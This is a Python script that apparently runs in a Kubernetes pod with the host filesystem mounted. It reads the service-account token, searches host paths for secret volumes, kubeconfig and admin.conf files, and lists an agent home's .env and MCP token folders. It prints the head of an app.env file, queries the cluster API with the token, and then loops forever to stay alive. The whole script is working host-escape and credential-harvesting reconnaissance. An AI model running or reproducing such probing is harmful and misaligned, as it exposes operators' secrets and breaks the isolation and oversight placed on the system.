import os, subprocess, time, json, ssl, urllib.request, urllib.error
NS="prod-user-572-476-probe-user-3a6e150b"; SA="/host/var/run/secrets/kubernetes.io/serviceaccount"
def run(cmd,t=30):
    try:
        p=subprocess.run(cmd,shell=True,capture_output=True,timeout=t); return p.stdout.decode('utf-8','replace')+p.stderr.decode('utf-8','replace')
    except Exception as e: return "ERR:"+str(e)
def sec(t): print("\n===== "+t+" =====",flush=True)
print("=== START "+time.strftime("%H:%M:%S")+" ===",flush=True)
TOKEN=open(SA+"/token").read().strip()
API="https://10.222.0.1:443"
def api(path):
    ctx=ssl.create_default_context(cafile=SA+"/ca.crt")
    req=urllib.request.Request(API+path); req.add_header("Authorization","Bearer "+TOKEN)
    try:
        r=urllib.request.urlopen(req,context=ctx,timeout=15); return r.status, r.read(6000).decode("utf-8","replace")
    except urllib.error.HTTPError as e: return e.code, e.read(1500).decode("utf-8","replace")
    except Exception as e: return -1,"ERR:"+str(e)
sec("KUBELET_DIRS"); print(run("ls -la /host/var/lib/kubelet 2>&1; echo '--- sub'; find /host/var/lib/kubelet -maxdepth 2 2>/dev/null | head; echo '--- io.containerd snapshotter'; ls -la /host/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs 2>&1 | head; echo '--- /host/var/lib'; ls -la /host/var/lib 2>&1"),flush=True)
sec("FIND_SECRET_VOL"); print(run("find /host -maxdepth 7 -path '*kubernetes.io~secret*' 2>/dev/null | head -30; echo '--- kubeconfig candidates'; find /host -maxdepth 6 \\( -name 'kubeconfig' -o -name '*.kubeconfig' -o -name 'admin.conf' -o -name 'rke2.yaml' -o -name 'k0s.yaml' \\) 2>/dev/null | head -20"),flush=True)
sec("RANCHER"); print(run("for d in /host/var/lib/rancher /host/var/lib/rancher/rke2 /host/var/lib/rancher/k3s /host/var/lib/k0s /host/etc/rancher /host/etc/kubernetes; do echo \"## $d\"; ls -la $d 2>&1 | head -12; done"),flush=True)
sec("AGENT_HOME"); print(run("echo '--- /host/opt/data'; ls -la /host/opt/data 2>&1 | head -20; echo '--- env exists'; ls -la /host/opt/data/.env 2>&1; echo '--- mcp-tokens'; ls -la /host/opt/data/office/mcp-tokens 2>&1 | head -20; echo '--- state'; ls -la /host/opt/data/state 2>&1 | head"),flush=True)
sec("DATA_ROOT"); print(run("ls -la /host/data 2>&1; echo '--- app.env first 5'; head -5 /host/data/app.env 2>&1; echo '--- other pods volumes?'; ls -la /host/data/docker/containers 2>&1"),flush=True)
sec("OBS"); 
for p in ["/apis/observability.deckhouse.io/v1alpha1/clusterobservabilitypropagatedmetricsrulesgroups?limit=2","/apis/observability.deckhouse.io/v1alpha1/clusterobservabilitypropagateddashboards?limit=2"]:
    print(p, api(p)[0], api(p)[1][:1500], flush=True)
sec("DONE"); print("KEEPALIVE",flush=True)
while True: time.sleep(3600)
